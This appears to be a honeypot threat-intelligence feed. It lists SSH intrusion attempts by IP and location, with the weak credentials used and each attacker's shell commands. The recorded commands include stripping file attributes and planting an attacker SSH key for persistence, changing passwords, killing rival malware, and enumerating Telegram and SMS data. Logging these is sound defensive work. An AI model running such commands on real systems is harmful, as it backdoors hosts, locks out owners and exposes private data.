$ uname -s -v -n -r -m ×27

🎭 clandestine_seoul_root (58.224.62.29) — Gangseo-gu, South Korea · 1 session · 2 cmds

2026-06-20 09:29 EDT · as oracle/adminadmin

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rogue_crepe_root (176.191.43.176) — Villefranche-sur-Saône, France · 1 session · 2 cmds

2026-06-20 09:27 EDT · as oracle/adminadmin

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 frantic_hanbok_root (49.247.36.49) — Gwangmyeong, South Korea · 1 session · 2 cmds

2026-06-20 09:27 EDT · as oracle/adminadmin

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wired_dimsum_root (47.76.36.75) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-20 08:17 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 hollow_harbor_root (42.200.66.164) — South Wave Court, Hong Kong · 1 session · 2 cmds

2026-06-20 05:21 EDT · as oracle/oracle@2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 crimson_tuktuk_root (210.86.172.173) — Bangkok, Thailand · 1 session · 1 cmd

2026-06-20 00:02 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 ironclad_rogue_root (91.92.40.41) — Varna, Bulgaria · 2 sessions · 2 cmds

2026-06-19 22:38 EDT · as oracle/1q2w3e4r5t, oracle/baseball

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 ironclad_kopi_root (8.219.94.183) — Singapore, Singapore · 3 sessions · 3 cmds

2026-06-19 17:23 EDT · as deploy/deploy123, root/root, user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 restless_panda_root_218 (115.191.33.218) — Beijing, China · 1 session · 1 cmd

2026-06-19 21:03 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 venomous_junk_root_74 (8.217.152.74) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-19 19:18 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 manic_silk_root_129 (123.56.83.129) — Beijing, China · 1 session · 1 cmd

2026-06-19 18:42 EDT · as root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 stoic_dutch_root (176.65.139.250) — Eygelshoven, The Netherlands · 30 sessions · 30 cmds

2026-06-19 16:24 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×30

🎭 cryptic_hawker_root (107.150.112.233) — Singapore, Singapore · 1 session · 20 cmds

2026-06-19 17:04 EDT · as deploy/deploy123

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "deploy123\n4Cp8qW93UiCD\n4Cp8qW93UiCD"|passwd|bash

$ Enter new UNIX password:

$ echo "deploy123\n4Cp8qW93UiCD\n4Cp8qW93UiCD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 midnight_panda_root_34 (120.26.202.34) — Hangzhou, China · 1 session · 1 cmd

2026-06-19 16:56 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 nocturnal_clog_sol (91.92.42.147) — Amsterdam, The Netherlands · 31 sessions · 31 cmds

2026-06-19 13:17 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 cryptic_panda_root_107 (121.199.34.107) — Hangzhou, China · 1 session · 1 cmd

2026-06-19 13:02 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 feral_cipher_pi (20.105.65.67) — Dublin, Ireland · 2 sessions · 2 cmds

2026-05-16 22:25 EDT · as pi/pi

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 haywire_rogue_root (91.92.40.45) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-19 06:08 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 drowsy_roo_sol (134.199.168.153) — Sydney, Australia · 3 sessions · 3 cmds

2026-06-19 06:38 EDT · as sol/123, sol/sol, solana/solana

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×3

↳ obfuscated system check

🎭 derelict_moose_sol (147.182.154.147) — Toronto, Canada · 1 session · 1 cmd

2026-06-19 06:44 EDT · as solana/solana

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m

↳ obfuscated system check

🎭 silent_autobahn_sol (139.59.140.48) — Frankfurt am Main, Germany · 1 session · 1 cmd

2026-06-19 06:43 EDT · as validator/validator

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m

↳ obfuscated system check

🎭 aloof_scone_sol (68.183.35.1) — Slough, United Kingdom · 3 sessions · 3 cmds

2026-06-19 06:25 EDT · as sol/sol, solana/solana, validator/validator

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×3

↳ obfuscated system check

🎭 placid_tiger_crypto (206.189.131.101) — Bengaluru, India · 1 session · 1 cmd

2026-06-19 06:30 EDT · as eth/eth

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m

↳ obfuscated system check

🎭 derelict_neon_root (101.36.124.127) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-06-19 06:21 EDT · as oracle/Oracle2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_mekong_root (157.66.101.76) — Quận Bình Thạnh, Vietnam · 1 session · 2 cmds

2026-06-19 04:45 EDT · as oracle/oracle123#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 weary_stein_root (207.154.250.9) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-06-19 00:53 EDT · as admin/admin123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin123\n9TkSuJmTLI93\n9TkSuJmTLI93"|passwd|bash

$ Enter new UNIX password:

$ echo "admin123\n9TkSuJmTLI93\n9TkSuJmTLI93\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 grumpy_seoul_root (121.141.243.81) — Seoul, South Korea · 1 session · 9 cmds

2026-06-18 23:53 EDT · as root/root

/root/root login → /ip cloud print → ifconfig → uname -a → cat /proc/cpuinfo → ps | grep '[Mm]iner' → ps -ef | grep '[Mm]iner' → ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM → locate D877F7

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 baroque_sakura_root_63 (133.18.122.63) — Chiyoda City, Japan · 5 sessions · 5 cmds

2026-05-15 06:05 EDT · as admin/admin, admin/admin123, deploy/deploy123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -a ×5

↳ OS/kernel identification

🎭 vapor_pistachio_root (94.139.183.254) — Tehran, Iran · 1 session · 1 cmd

2026-06-18 22:44 EDT · as root/123456

CPU profiling

$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}'

↳ CPU profiling

🎭 derelict_komodo_root (36.95.194.50) — South Tangerang, Indonesia · 1 session · 2 cmds

2026-06-18 19:53 EDT · as oracle/Welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 frantic_yankee_root (38.148.249.2) — Los Angeles, United States · 1 session · 2 cmds

2026-06-18 19:07 EDT · as oracle/Welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_acai_root (189.90.55.242) — Florianópolis, Brazil · 1 session · 2 cmds

2026-06-18 18:21 EDT · as oracle/Password1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 arctic_neon_root (47.86.3.155) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-06-18 17:06 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 feral_dragon_root_139 (47.110.137.139) — Hangzhou, China · 1 session · 1 cmd

2026-06-18 16:05 EDT · as admin/admin

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 arctic_chateau_root (86.217.21.47) — Avrillé, France · 1 session · 2 cmds

2026-06-18 16:02 EDT · as oracle/test1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 scrappy_husk_root (91.92.40.31) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-18 13:06 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 vapor_silk_root_19 (121.40.231.19) — Hangzhou, China · 1 session · 1 cmd

2026-06-18 09:34 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 baroque_junk_root (47.243.58.151) — Hong Kong, Hong Kong · 9 sessions · 9 cmds

2026-06-17 23:46 EDT · as admin/123456, admin/password, oracle/oracle

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×9

🎭 zealous_k-pop_root (121.183.240.55) — Gongju, South Korea · 1 session · 9 cmds

2026-06-18 01:15 EDT · as root/root

SSH login as root → OS fingerprinting via uname -a → hardware profiling with /proc/cpuinfo → network interface audit via ifconfig → cryptominer detection attempts (ps grep) → Telegram data path enumeration → failed binary locate search → benign echo/cat output.

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 nocturnal_hawker_root (8.219.200.1) — Singapore, Singapore · 8 sessions · 8 cmds

2026-06-17 20:26 EDT · as admin/123456, deploy/deploy123, oracle/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×8

🎭 restless_tsar_root (85.30.212.24) — Shchyolkovo, Russia · 1 session · 2 cmds

2026-06-18 00:17 EDT · as root/root

ip → network mapping

$ /ip cloud print

$ ifconfig

↳ network mapping

🎭 cryptic_tulip_root_181 (45.153.34.181) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-17 22:44 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 silent_chai_root (103.89.136.111) — Noida, India · 1 session · 2 cmds

2026-06-17 23:18 EDT · as oracle/Oracle@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brazen_kimchi_root (14.55.144.22) — Jeonju-si, South Korea · 1 session · 2 cmds

2026-06-17 23:08 EDT · as oracle/Oracle@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_wok_root_191 (8.134.129.191) — Guangzhou, China · 2 sessions · 2 cmds

2026-06-16 21:05 EDT · as admin/admin, user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 ashen_stroopwafel_sol (80.94.92.186) — Amsterdam, The Netherlands · 80 sessions · 80 cmds

2026-05-11 04:38 EDT · as eth/eth, sol/123, sol/12345678

Ran uname 85x across 85 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×80

↳ obfuscated system check

🎭 sullen_wok_pi (111.30.42.43) — Youyilu, China · 1 session · 1 cmd

2026-06-17 21:11 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 ironclad_silk_root_197 (118.196.104.197) — Haidian, China · 1 session · 1 cmd

2026-06-17 21:06 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 crimson_dimsum_root (152.32.239.122) — Hong Kong, Hong Kong · 2 sessions · 39 cmds

2026-06-17 20:36 EDT · as deploy/deploy, root/root

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo "root:IspYzWkwBbTb"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check
